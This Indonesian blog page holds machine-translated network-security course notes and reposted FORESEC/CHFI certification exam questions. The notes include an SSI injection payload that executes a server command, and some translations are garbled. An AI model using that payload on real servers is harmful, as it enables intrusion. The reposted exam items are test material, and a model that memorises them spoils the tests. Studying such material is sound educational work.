Update Ilmu Pengetahuan: jaringan

Showing posts with label jaringan. Show all posts

Materi UAS SEMESTER 5 KEAMANAN JARINGAN

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Web
Communication and Security<o:p></o:p></div>
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A Brief Introduction to Web Communications</div>
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<ul style="text-align: left;">
<li>Hypertext Transfer Protocol</li>
<li>Protokol HTTP adalah berorientasi
transaksi. Klien membuat permintaan dan server mengirim respon.</li>
<li>Protokol ini stateless, dalam bahwa
setelah server merespon permintaan, umumnya lupa semua tentang hal itu.</li>
<li>Jika klien membuat permintaan lain
beberapa waktu kemudian, tidak ada cara otomatis untuk server untuk
mengasosiasikan mereka dengan setiap sesi tertentu.</li>
</ul>
 
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HTTP METHOD<o:p></o:p></div>
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<ul style="text-align: left;">
<li>Metode
yang paling umum adalah GET, yang berarti bahwa klien mengirimkan permintaan
sederhana untuk objek bernama.</li>
<li>Metode
yang paling umum kedua adalah POST, yang menentukan bahwa klien mengharapkan
untuk mengirim beberapa data ke server, mungkin dalam menanggapi setelah mengisi
formulir dan menekan tombol submit.</li>
<li>KEPALA
seperti GET, kecuali bukannya kembali obyek itu sendiri, server diharapkan
kembali hanya header dan melewatkan data aktuaL.</li>
<li>Klien menggunakan PUT ketika mereka harus
meng-upload file ke server Web, seperti ketika penerbitan halaman Web baru atau
mengirim lampiran dengan layanan Web-based e-mail.</li>
</ul>
 
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Status Code<o:p></o:p></div>
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200 : "Semuanya OK, di sini adalah dokumen yang Anda
minta"<o:p></o:p></div>
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401
: Pemohon tidak berwenang untuk menerima sumber daya<o:p></o:p></div>
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404 : Dokumen yang diminta tidak dapat ditemukan<o:p></o:p></div>
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Melihat
data transaksi Raw</div>
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Ini mungkin menjadi sumber
informasi yang menarik bagi penyerang</div>
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<ul style="text-align: left;">
<li>Authentication informasi</li>
<li>Header,
yang biasanya mengandung banyak informasi tentang sistem yang dihasilkan
mereka.</li>
</ul>
 
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HTTP Proxies<o:p></o:p></div>
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<ul style="text-align: left;">
<li>Sebuah Proxy HTTP adalah server yang
bertindak sebagai perantara dalam komunikasi antara HTTP klien dan server.</li>
<li>Alih-alih menghubungkan langsung ke
server yang bersangkutan, klien mengirim permintaan ke proxy, yang pada
gilirannya menghubungkan ke server dan membuat permintaan atas nama klien.
Mereka juga mengurus meneruskan respon server kembali ke klien.</li>
</ul>
 
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Type dari proxi<o:p></o:p></div>
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Berbeda dengan proxy ke depan,
di mana proxy dekat ke pengguna akhir, penyedia konten mengelola reverse proxy.
Alih-alih iklan URL dari server Web mereka secara langsung, penyedia konten
memberikan alamat proxy mereka.<o:p></o:p></div>
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 Open proxy</div>
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<ul style="text-align: left;">
<li>Sebuah permintaan proxy forwarding
terbuka dari dan ke mana saja di Internet. Proxy terbuka adalah forwarding
server proxy yang dapat diakses oleh setiap pengguna Internet.</li>
<li>Sebuah
open proxy anonim memungkinkan pengguna untuk menyembunyikan alamat IP mereka
saat browsing Web atau menggunakan layanan Internet lainnya.</li>
</ul>
 
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TUJUAN</div>
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<ul style="text-align: left;">
<li>Sebuah server proxy memiliki berbagai macam tujuan
potensial, termasuk:</li>
<li>Untuk menjaga mesin di balik itu anonim, terutama
untuk keamanan</li>
<li> Untuk mempercepat akses ke sumber daya (menggunakan
cache). Web proxy biasanya digunakan untuk cache halaman web dari web server</li>
<li>Untuk menerapkan kebijakan akses ke layanan jaringan
atau konten, misalnya untuk memblokir situs yang tidak diinginkan.</li>
<li>Untuk log / penggunaan audit, yaitu untuk menyediakan
perusahaan karyawan pelaporan penggunaan Internet.</li>
<li>Untuk mengakses situs yang dilarang atau disaring oleh
ISP atau lembaga.</li>
<li>Untuk memotong keamanan / kontrol orangtua.</li>
<li>Untuk menghindari internet filtering untuk mengakses
konten lain diblokir oleh pemerintah.</li>
</ul>
 
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HTML Security <o:p></o:p></div>
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Reading
HTML Source</div>
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<ul style="text-align: left;">
<li>Hidden Fields, yang diberi nama potongan informasi
terkubur dalam kode HTML untuk formulir, tetapi yang tidak pernah ditampilkan kepada
pengguna</li>
<li>Server Side Termasuk, tag HTML khusus ditafsirkan oleh
server Web pada saat file tersebut dikirim ke klien.</li>
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Server Side Includes (SSI)</div>
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Dengan menggunakan SSI, Anda dapat membuat halaman yang dapat
mencakup file lainnya dari server, program CGI dijalankan, atau mungkin yang
paling berbahaya, menjalankan perintah sewenang-wenang pada server Web dan
masukkan output mereka ke halaman.</div>
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Commands used to inject SSI<o:p></o:p></div>
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<ul style="text-align: left;">
<li>It can be exploited through manipulation
of SSI in use in the application or force its use through user input fields</li>
<li>List files of directory</li>
<li> < !--#exec cmd="dir" --></li>
<li>To show current document filename:</li>
<li></li>
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Cookies<o:p></o:p></div>
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    HTTP is “stateless” - no context information<o:p></o:p></div>
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    Cookies provide “state” and context<o:p></o:p></div>
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    Can only hold information given to the
browser by the server<o:p></o:p></div>
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    Can only be exchanged with originating
server or domain<o:p></o:p></div>
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    Can block cookies if desired<o:p></o:p></div>
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Web Security Protocol - SSL<o:p></o:p></div>
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<ul style="text-align: left;">
<li> Protokol untuk mengenkripsi lalu lintas
jaringan</li>
<li>Beroperasi pada Transport Layer</li>
<li>Operates on port 443</li>
<li>How it works</li>
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- Client connects to server<o:p></o:p></div>
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- Server indicates need for SSL <o:p></o:p></div>
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- Client and server exchange crypto keys <o:p></o:p></div>
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- Secure session begins</div>
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<ul style="text-align: left;">
<li>Not a guarantee of security</li>
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Certificate-Based Authentication<o:p></o:p></div>
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<ul style="text-align: left;">
<li> Mungkin yang paling aman dari semua
mekanisme otentikasi umum</li>
<li>Sertifikat Server (Client dan
sertifikat</li>
<li>Otentikasi berbasis sertifikat memiliki
beberapa keuntungan nyata atas protokol lain.</li>
<li>Pertama, password tidak perlu
menyeberangi jaringan seperti dengan auth dasar,</li>
<li> Kedua, server tidak perlu tahu password
user, seperti dengan baik dasar dan otentikasi.</li>
<li>Menggunakan sertifikat memenuhi syarat
sebagai otentikasi dua faktor.</li>
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Secure Electronic Transactions</div>
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<ul style="text-align: left;">
<li>Dikembangkan oleh Visa, MasterCard, Microsoft,
Netscape</li>
<li>protokol khusus-tujuan</li>
<li>Mengamankan transaksi kartu kredit dan debit</li>
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Vulnerability
Scanning<o:p></o:p></div>
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Social Engineering</div>
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<ul style="text-align: left;">
<li>Attempt to manipulate or trick a person into
providing information or access</li>
<li>Bypass network security by exploiting human
vulnerabilities</li>
<li>Vector is often outside attack by telephone
or a visitor inside your facility</li>
<li> Human-based</li>
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Urgency<o:p></o:p></div>
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Third-person authorization</div>
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<li>Computer-based</li>
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Popup windows<o:p></o:p></div>
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Mail attachments<o:p></o:p></div>
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Tools that may be Visiting Your DMZ</div>
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<li>Virus</li>
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Virus
adalah program yang mengubah bagaimana komputer bekerja (termasuk kerusakan
komputer) dan dapat mereplikasi diri.</div>
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<ul style="text-align: left;">
<li>Worms</li>
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Sebuah
worm adalah sebuah program komputer yang memiliki kemampuan untuk menyalin diri
dari mesin ke mesin.</div>
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<li>Trojans</li>
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Sebuah
Trojan horse, atau Trojan, adalah aplikasi berbahaya yang menyamar sebagai file
yang sah atau membantu program yang nyata, tetapi yang tujuannya adalah,
misalnya, untuk memberikan hacker akses tidak sah ke komputer.</div>
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<ul style="text-align: left;">
<li>Open share scanners</li>
<li>Jackal, Queso, and SYN/FIN</li>
<li>Nmap</li>
</ul>
 
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TTL<o:p></o:p></div>
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Dalam catatan halaman adalah
Time To Live fields dari jejak di slide sebelumnya. Perhatikan bagaimana mereka
mengelompok di sekitar 120. Hal ini tidak diharapkan perilaku. Hal ini juga
tetap dalam rilis Nmap 2.08 yang memiliki fungsi umpan sehingga TTLs umpan
acak.<o:p></o:p></div>
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Hping v2.0 - hping Enhanced<o:p></o:p></div>
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Uses
hping crafted packets to: <o:p></o:p></div>
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- Test firewall rules <o:p></o:p></div>
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- Test net performance <o:p></o:p></div>
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- Remotely fingerprint OSes <o:p></o:p></div>
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- Audit TCP/IP stacks <o:p></o:p></div>
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- Transfer files across a firewall <o:p></o:p></div>
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Check if a host is up<o:p></o:p></div>
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Firewall<o:p></o:p></div>
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<ul>
<li style="text-align: left;">Firewall adalah sarana untuk mengontrol apa yang
diperbolehkan di beberapa titik dalam jaringa sebagai mekanisme untuk
menegakkan kebijakan.</li>
<li>Dibutuhkan namanya dari firewall yang dimaksudkan
untuk mencegah penyebaran api dari satu bagian struktur yang lain dalam
bangunan.</li>
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KENAPA ADA FIREWAL<o:p></o:p></div>
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Mengurangi resiko dengan melindungi sistem dari upaya untuk
mengeksploitasi kelemahan<o:p></o:p></div>
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Meningkatkan
privasi - membuat lebih sulit untuk mengumpulkan data intelijen tentang situs<o:p></o:p></div>
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Memberlakukan kebijakan keamanan organisasi<o:p></o:p></div>
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Firewall dapat diimplementasikan
sebagai</div>
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<ul style="text-align: left;">
<li> peralatan jaringan Dedicated (tampaknya ada tren yang
berbeda terhadap peralatan)</li>
<li>Hardware atau perangkat lunak dimasukkan ke dalam
perangkat jaringan seperti router (yang terutama menjalankan tugas lain)</li>
<li>Software berjalan pada komputer tujuan umum</li>
</ul>
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Packet Filter <o:p></o:p></div>
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Filter paket yang "low end" firewall <o:p></o:p></div>
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Dapat meningkatkan keamanan <o:p></o:p></div>
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Sangat cepat<o:p></o:p></div>
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Reliant on DestPort - that if the <o:p></o:p></div>
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packet
says TCP 25, it is assumed it is <o:p></o:p></div>
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Simple
Mail Transfer Protocol (SMTP). <o:p></o:p></div>
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Data content passes
through unchecked. <o:p></o:p></div>
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Proxy
or Application Gateway</div>
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<ul style="text-align: left;">
<li> filter Packet cepat, tetapi mereka dapat tertipu,
mereka perdagangan kecepatan untuk keamanan</li>
<li>firewall proxy adalah di ujung spektrum. Di
antara firewall, mereka umumnya adalah paling lambat dalam kinerja dan paling
nyaman untuk mengelola, seperti ketika protokol baru belum didukung, namun,
firewall proxy yang biasanya menyediakan keamanan terbaik.</li>
</ul>
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INTRUSION DETECTION SYSTEM<o:p></o:p></div>
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Sebuah sistem deteksi intrusi (IDS) adalah sebuah perangkat atau
aplikasi perangkat lunak yang memantau jaringan dan / atau sistem kegiatan
untuk kegiatan berbahaya atau pelanggaran kebijakan dan menghasilkan laporan ke
Stasiun Manajemen<o:p></o:p></div>
<div class="MsoNormal" style="margin: 0cm 0cm 12pt 49.65pt; text-indent: -21.3pt;">
Sistem
deteksi intrusi terutama difokuskan pada identifikasi insiden yang mungkin
terjadi, penebangan informasi tentang mereka, dan pelaporan upaya<o:p></o:p></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiduYgae-MyLGZ44utBpzF4Npma29H21iLB74IOffSzSmit36zt0e17P6KFxk7iSdLcYJH8idFReapORDPIVswQtZKExL793FXiAwIbPMcUg1rOKNUv1Uyan6KYjfZ-OMCK-AFMyr8FIaA/s1600/Untitled.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiduYgae-MyLGZ44utBpzF4Npma29H21iLB74IOffSzSmit36zt0e17P6KFxk7iSdLcYJH8idFReapORDPIVswQtZKExL793FXiAwIbPMcUg1rOKNUv1Uyan6KYjfZ-OMCK-AFMyr8FIaA/s1600/Untitled.jpg" width="223" /></a></div>
<div class="MsoNormal" style="margin: 0cm 0cm 0.0001pt 49.65pt; text-indent: -21.3pt;">
 </div>
<div class="Default">
 </div>
<div class="Default">
Types
<o:p></o:p></div>
<div class="Default" style="margin-bottom: 9.15pt; margin-left: 49.65pt; margin-right: 0cm; margin-top: 0cm; text-indent: -21.3pt;">
Ada dua
jenis utama IDS:<o:p></o:p></div>
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Sistem
deteksi intrusi jaringan (NIDS): sebuah platform independen yang
mengidentifikasi gangguan dengan memeriksa lalu lintas jaringan dan memonitor
beberapa host. Sistem deteksi intrusi jaringan mendapatkan akses ke lalu lintas
jaringan dengan menghubungkan ke jaringan hub, switch jaringan dikonfigurasi
untuk port mirroring, atau sentuh jaringan.<o:p></o:p></div>
<div class="Default" style="margin-left: 49.65pt; text-indent: -21.3pt;">
Sistem deteksi intrusi berbasis host (HIDS): Ini
terdiri dari agen pada host yang mengidentifikasi gangguan dengan menganalisis
sistem panggilan, log aplikasi, modifikasi file sistem (binari, file password,
database kemampuan, Access Control Lists, dll) dan kegiatan host lain dan
negara.<o:p></o:p></div>
<div class="Default">
 </div>
<div class="Default">
Passive
and/or reactive systems <o:p></o:p></div>
<div class="Default" style="margin-bottom: 10.05pt; margin-left: 49.65pt; margin-right: 0cm; margin-top: 0cm; text-indent: -21.3pt;">
Dalam
sistem pasif, sistem deteksi intrusi (IDS) sensor mendeteksi pelanggaran
keamanan potensial, menyimpan informasi tersebut dan sinyal peringatan pada
konsol dan atau pemilik.<o:p></o:p></div>
<div class="Default" style="margin-left: 49.65pt; text-indent: -21.3pt;">
Dalam sistem reaktif, juga dikenal sebagai sistem
pencegahan intrusi (IPS), IPS auto-merespon aktivitas mencurigakan dengan
mengatur ulang sambungan atau dengan memprogram ulang firewall untuk memblokir
lalu lintas jaringan dari sumber berbahaya yang dicurigai. The IDPS Istilah ini
umumnya digunakan di mana ini bisa terjadi secara otomatis atau atas perintah
operator, sistem yang baik "mendeteksi" (alert) dan / atau
"mencegah."</div>
<div class="Default">
 </div>
<div class="Default">
IPS
vs IDS</div>
<div class="Default">
</div>
<ul style="text-align: left;">
<li>Teknologi
IPS dibedakan dari teknologi IDS oleh salah satu karakteristik: IPS teknologi
dapat merespon ancaman terdeteksi dengan mencoba untuk mencegah berhasil.</li>
<li>Tanda
Tangan adalah Pola Yang Sesuai Artikel Baru ancaman dikenal.</li>
</ul>
 
<div class="Default" style="margin-left: 49.65pt;">
 </div>
<div class="Default">
Signature-Based
Detection <o:p></o:p></div>
<div class="Default" style="margin-bottom: 9.15pt; margin-left: 49.65pt; margin-right: 0cm; margin-top: 0cm; mso-list: l1 level1 lfo9; text-indent: -21.3pt;">
</div>
<ul style="text-align: left;">
<li>›  Tanda tangan adalah pola yang sesuai dengan ancaman
dikenal.</li>
<li>Upaya telnet dengan username "root", yang
merupakan pelanggaran dari sebuah organisasi "s kebijakan keamanan</li>
<li> Sebuah e-mail dengan subjek "gambar Gratis!"
Dan nama file lampiran "freepics.exe", yang merupakan karakteristik
dari bentuk yang dikenal malware</li>
<li> Entri log sistem operasi dengan nilai kode status 645,
yang menunjukkan bahwa host "s audit telah dinonaktifkan.</li>
</ul>
<div class="Default">
Anomaly-Based
Detection vs Signature-Based Detection</div>
<div class="Default">
 </div>
<div class="Default">
</div>
<ul style="text-align: left;">
<li>Manfaat
utama dari metode pendeteksian berbasis anomali adalah bahwa mereka dapat
menjadi sangat efektif dalam mendeteksi ancaman yang sebelumnya tidak
diketahui.</li>
<li>Deteksi
berbasis signature sangat efektif dalam mendeteksi ancaman dikenal tetapi
sebagian besar tidak efektif dalam mendeteksi ancaman yang sebelumnya tidak
diketahui, ancaman menyamar dengan menggunakan teknik penghindaran, dan banyak
varian dari ancaman dikenal.</li>
</ul>
 
<div class="Default" style="margin-left: 49.65pt;">
 </div>
<div class="Default">
 </div>
<div class="Default">
Encrypted Networks <o:p></o:p></div>
<div class="Default">
 </div>
<div class="DefaultCxSpMiddle" style="margin-bottom: 7.85pt; mso-add-space: auto;">
 Sensor NIDS tidak dapat menganalisis apa yang mereka
tidak bisa membaca <o:p></o:p></div>
<div class="DefaultCxSpMiddle" style="margin-bottom: 7.85pt; mso-add-space: auto;">
 Penggunaan enkripsi untuk lalu lintas jaringan
tumbuh <o:p></o:p></div>
<div class="DefaultCxSpMiddle" style="margin-bottom: 7.85pt; mso-add-space: auto;">
 Enkripsi dapat digunakan oleh penyerang untuk
menyembunyikan lalu lintas mereka <o:p></o:p></div>
<div class="DefaultCxSpMiddle" style="margin-bottom: 7.85pt; mso-add-space: auto;">
 Lalu Lintas harus dibaca sebelum / setelah proses
enkripsi <o:p></o:p></div>
<div class="DefaultCxSpMiddle" style="margin-bottom: 7.85pt; mso-add-space: auto;">
 NIDS dan HIDS dapat bekerja sama untuk mengatasi
tantangan ini<o:p></o:p></div>
<div class="DefaultCxSpMiddle" style="margin-bottom: 7.85pt; mso-add-space: auto;">
 </div>
<div class="DefaultCxSpMiddle" style="margin-bottom: 7.85pt; mso-add-space: auto;">
 </div>
<div class="DefaultCxSpMiddle" style="margin-bottom: 7.85pt; mso-add-space: auto;">
TCPWrappers Threat List </div>
<div class="Default" style="margin-left: 49.65pt;">

serangan Outsider dari jaringan <o:p></o:p></div>
<div class="Default" style="margin-left: 49.65pt;">

serangan Outsider dari telepon <o:p></o:p></div>
<div class="Default" style="margin-left: 49.65pt;">

serangan Insider dari jaringan lokal <o:p></o:p></div>
<div class="Default" style="margin-left: 49.65pt;">

serangan Insider dari sistem lokal <o:p></o:p></div>
<div class="Default" style="margin-left: 49.65pt;">

Serangan dari kode berbahaya<o:p></o:p></div>
<div class="Default" style="margin-left: 49.65pt;">
 </div>
<div class="Default">
 </div>
<div class="Default">
 </div>
<div align="center" class="Default" style="text-align: center;">
Windows Security<o:p></o:p></div>
<div align="center" class="Default" style="text-align: center;">
 </div>
<div class="Default">
Kerberos
adalah protokol otentikasi jaringan komputer yang bekerja atas dasar
"tiket" untuk memungkinkan node berkomunikasi melalui jaringan
non-aman untuk membuktikan identitas mereka satu sama lain dengan cara yang
aman. <o:p></o:p></div>
<div class="Default">
 </div>
<div class="Default">
Active
Directory (AD) adalah layanan direktori yang dibuat oleh Microsoft untuk
jaringan domain Windows.<o:p></o:p></div>
<div class="Default">
 </div>
<div class="Default" style="margin-left: 49.65pt;">
 </div>
<div class="Default" style="margin-left: 49.65pt;">
 </div>
 
<div class="Default">
 </div>
</div>

Materi UAS SEMESTER 5 KEAMANAN JARINGAN

Web Communication and Security A Brief Introduction to Web Communications Hypertext Transfer Protocol Protokol HTTP adalah berori...

lengkapnya

9:43 AM

Jawaban Ujian FORESEC Networking-Security-Exam Lvl 1

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Jawaban Ujian FORESEC Networking-Security-Exam Lvl 1

FORESEC Networking-Security-Exam Lvl 1

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9:24 PM

Jawaban Ujian Foresec Computer Forensic Exam 2012

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Jawaban Ujian Foresec Computer Forensic Exam 2012

Computer Forensic Exam 2012

lengkapnya

9:23 PM

Jawaban FORESEC information security level 4 | 312-49 Computer Hacking Forensic Investigator 2011

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Post perdana di tahun 2014, ane mau share soal-soal test FORESEC information security level 4.  Buat temen-temen seperjuangan monggo di donloat, lumayan buat bahan. ini udah + kunci jawaban. :).  Sekilas info nih gan, di pdf ini ada 200an soal, ini hasil sunting dari sumber aiotestking.com. Soalnya di sumbernya itu sistemya online jadi cuman satu satu keliatan, ini ane pdfin biar gampag aja plajarinya :D. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
evidence from this network? 
A. create a compressed copy of the file with DoubleSpace 
B. create a sparse data copy of a folder or file 
C. make a bit-stream disk-to-image file 
D. make a bit-stream disk-to-disk file 
9. You are working for a large clothing manufacturer as a computer forensics investigator and are called in to 
investigate an unusual case of an employee possibly stealing clothing designs from the company and selling 
them under a different brand name for a different company. What you discover during the course of the 
investigation is that the clothing designs are actually original products of the employee and the company 
has no policy against an employee selling his own designs on his own time. The only thing that you can 
find that the employee is doing wrong is that his clothing design incorporates the same graphic symbol as 
that of the company with only the wording in the graphic being different. What area of the law is the 
employee violating? 
A. trademark law 
B. copyright law 
C. printright law 
D. brandmark law 
10. What file structure database would you expect to find on floppy disks? 
A. NTFS 
B. FAT32 
C. FAT16 
D. FAT12 
11. What type of attack occurs when an attacker can force a router to stop forwarding packets by flooding the 
router with many open connections simultaneously so that all the hosts behind the router are effectively 
disabled? 
A. digital attack 
B. denial of service 
C. physical attack 
D. ARP redirect 
12. When examining a file with a Hex Editor, what space does the file header occupy? 
A. the last several bytes of the file 
B. the first several bytes of the file 
C. none, file headers are contained in the FAT 
D. one byte at the beginning of the file 
13. In the context of file deletion process, which of the following statement holds true? 
A. When files are deleted, the data is overwritten and the cluster marked as available 
B. The longer a disk is inuse, the less likely it is that deleted files will be overwritten 
C. While booting, the machine may create temporary files that can delete evidence 
D. Secure delete programs work by completely overwriting the file in one go 
14. A suspect is accused of violating the acceptable use of computing resources, as he has visited adult 
websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed visit 
these sites. However, the suspect has cleared the search history and emptied the cookie cache. Moreover, he 
has removed any images he might have downloadeD. What can the investigator do to prove the violation? 
Choose the most feasible option. 
A. Image the disk and try to recover deleted files 
B. Seek the help of co-workers who are eye-witnesses 
C. Check the Windows registry for connection data (You may or may not recover) 
D. Approach the websites for evidence 
15. A(n) _____________________ is one that.s performed by a computer program rather than the attacker 
manually performing the steps in the attack sequence. 
A. blackout attack 
B. automated attack 
C. distributed attack 
D. central processing attack 
16. The offset in a hexadecimal code is: 
A. The last byte after the colon 
B. The 0x at the beginning of the code 
C. The 0x at the end of the code 
D. The first byte after the colon 
17. It takes _____________ mismanaged case/s to ruin your professional reputation as a computer forensics 
examiner? 
A. by law, three 
B. quite a few 
C. only one 
D. at least two 
18. With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link 
count reaches ________. 
A. 0 
B. 10 
C. 100 
D. 1 
19. When examining the log files from a Windows IIS Web Server, how often is a new log file created? 
A. the same log is used at all times 
B. a new log file is created everyday 
C. a new log file is created each week 
D. a new log is created each time the Web Server is started 
20. Which part of the Windows Registry contains the user.s password file? 
A. HKEY_LOCAL_MACHINE 
B. HKEY_CURRENT_CONFIGURATION 
C. HKEY_USER 
D. HKEY_CURRENT_USER 
21. An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital video 
discs (DVDs) by using a large magnet. You inform him that this method will not be effective in wiping out 
the data because CDs and DVDs are ______________ media used to store large amounts of data and are 
not affected by the magnet. 
A. logical 
B. anti-magnetic 
C. magnetic 
D. optical 
22. Lance wants to place a honeypot on his network. Which of the following would be your recommendations? 
A. Use a system that has a dynamic addressing on the network 
B. Use a system that is not directlyinteracing with the router 
C. Use it on a system in an external DMZ in front of the firewall 
D. It doesn.t matter as all replies are faked 
23. What does the acronym POST mean as it relates to a PC? 
A. Primary Operations Short Test 
B. Power On Self Test 
C. Pre Operational Situation Test 
D. Primary Operating System Test 
24. Paula works as the primary help desk contact for her company.Paula has just received a call from a user 
reporting that his computer just displayed a Blue Screen of Death screen and he can no longer work.Paula 
walks over to the user.s computer and sees the Blue Screen of Death screen.The user.s computer is running 
Windows XP, but the Blue Screen looks like a familiar one that Paula had seen on Windows 2000 
computers periodically. The user said he stepped away from his computer for only 15 minutes and when he 
got back, the Blue Screen was there.Paula also noticed that the hard drive activity light was flashing, 
meaning that the computer was processing something.Paula knew this should not be the case since the 
computer should be completely frozen during a Blue Screen. She checks the network IDS live log entries 
and notices numerous nmap scan alerts. 
What is Paula seeing happen on this computer? 
A. Paula.s network was scanned using Floppyscan 
B. There was IRQ conflict in Paula.s PC 
C. Paula.s network was scanned using Dumpsec 
D. Tools like Nessus will cause BSOD 
Explanation: 
Floppyscan is a dangerous hacking tool which can be used to portscan a system using a floppy disk 
Bootsup mini Linux Displays Blue screen of death screen Port scans the network using NMAP Send the 
results by e-mail to a remote server. 
25. What is the advantage in encrypting the communication between the agent and the monitor in an Intrusion 
Detection System? 
A. Encryption of agent communications will conceal the presence of the agents 
B. Alerts are sent to the monitor when a potential intrusion is detected 
C. An intruder could intercept and delete data or alerts and the intrusion can go undetected 
D. The monitor will know if counterfeit messages are being generated because they will not be encrypted 
26. Which legal document allows law enforcement to search an office, place of business, or other locale for 
evidence relating to an alleged crime? 
A. bench warrant 
B. wire tap 
C. subpoena 
D. search warrant 
27. You are working as an investigator for a corporation and you have just received instructions from your 
manager to assist in the collection of 15 hard drives that are part of an ongoing investigation. Your job is to 
complete the required evidence custody forms to properly document each piece of evidence as it is 
collected by other members of your team. Your manager instructs you to complete one multi-evidence form 
for the entire case and a single-evidence form for each hard drive. How will these forms be stored to help 
preserve the chain of custody of the case? 
A. All forms should be placed in an approved secure container because they are now primary evidence in 
the case. 
B. The multi-evidence form should be placed in the report file and the single-evidence forms should be 
kept with each hard drive in an approved secure container. 
C. The multi-evidence form should be placed in an approved secure container with the hard drives and the 
single-evidence forms should be placed in the report file. 
D. All forms should be placed in the report file because they are now primary evidence in the case. 
28. The MD5 program is used to: 
A. wipe magnetic media before recycling it 
B. make directories on a evidence disk 
C. view graphics files on an evidence drive 
D. verify that a disk is not altered when you examine it 
29. Which is a standard procedure to perform during all computer forensics investigations? 
A. with the hard drive removed from the suspect PC, check the date and time in the system.s CMOS 
B. with the hard drive in the suspect PC, check the date and time in the File Allocation Table 
C. with the hard drive removed from the suspect PC, check the date and time in the system.s RAM 
D. with the hard drive in the suspect PC, check the date and time in the system.s CMOS 
30. E-mail logs contain which of the following information to help you in your investigation? (Select up to 4) 
A. user account that was used to send the account 
B. attachments sent with the e-mail message 
C. unique message identifier 
D. contents of the e-mail message 
E. date and time the message was sent 
31. In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the 
most file slack to analyze? 
A. one who has NTFS 4 or 5 partitions 
B. one who uses dynamic swap file capability 
C. one who uses hard disk writes on IRQ 13 and 21 
D. one who has lots of allocation units per block or cluster 
32. In what way do the procedures for dealing with evidence in a criminal case differ from the procedures for 
dealing with evidence in a civil case? 
A. evidence must be handled in the same way regardless of the type of case 
B. evidence procedures are not important unless you work for a law enforcement agency 
C. evidence in a criminal case must be secured more tightly than in a civil case 
D. evidence in a civil case must be secured more tightly than in a criminal case 
33. You are assigned to work in the computer forensics lab of a state police agency. While working on a high 
profile criminal case, you have followed every applicable procedure, however your boss is still concerned 
that the defense attorney might question weather evidence has been changed while at the laB. What can 
you do to prove that the evidence is the same as it was when it first entered the lab? 
A. make an MD5 hash of the evidence and compare it with the original MD5 hash that was taken when the 
evidence first entered the lab 
B. make an MD5 hash of the evidence and compare it to the standard database developed by NIST 
C. there is no reason to worry about this possible claim because state labs are certified 
D. sign a statement attesting that the evidence is the same as it was when it entered the lab 
34. Study the log given below and answer the following question: 
Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169 Apr 24 14:46:46 [4663]: 
IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]: IDS/DNS-versionquery: 
212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 
194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN 
DETECTED from 24.9.255.53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 
172.16.1.107:53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 
172.16.1.101:53 
Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 
[5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 
[6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]: 
IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: 
(login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) 
session opened for user simon by simple(uid=506) 
Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 
[6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 
Precautionary measures to prevent this attack would include writing firewall rules. Of these firewall rules, 
which among the following would be appropriate? 
A. Disallow UDP53 in from outside to DNS server 
B. Allow UDP53 in from DNS server to outside 
C. Disallow TCP53 in from secondaries or ISP server to DNS server 
D. Block all UDP traffic 
35. When monitoring for both intrusion and security events between multiple computers, it is essential that the 
computers. clocks are synchronizeD. Synchronized time allows an administrator to reconstruct what took 
place during an attack against multiple computers. Without synchronized time, it is very difficult to 
determine exactly when specific events took place, and how events interlace. What is the name of the 
service used to synchronize time among multiple computers? 
A. Universal Time Set 
B. Network Time Protocol 
C. SyncTime Service 
D. Time-Sync Protocol 
36. When investigating a potential e-mail crime, what is your first step in the investigation? 
A. Trace the IP address to its origin 
B. Write a report 
C. Determine whether a crime was actually committed 
D. Recover the evidence 
37. If a suspect computer is located in an area that may have toxic chemicals, you must: 
A. coordinate with the HAZMAT team 
B. determine a way to obtain the suspect computer 
C. assume the suspect machine is contaminated 
D. do not enter alone 
38. The following excerpt is taken from a honeypot log. The log captures activities across three days. There are 
several intrusion attempts; however, a few are successful. (Note: The objective of this question is to test 
whether the student can read basic information from log entries and interpret the nature of attack.) 
Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169 Apr 24 14:46:46 [4663]: 
IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]: IDS/DNS-versionquery: 
212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 
194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN 
DETECTED from 24.9.255.53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 
172.16.1.107:53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 
172.16.1.101:53 Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111 
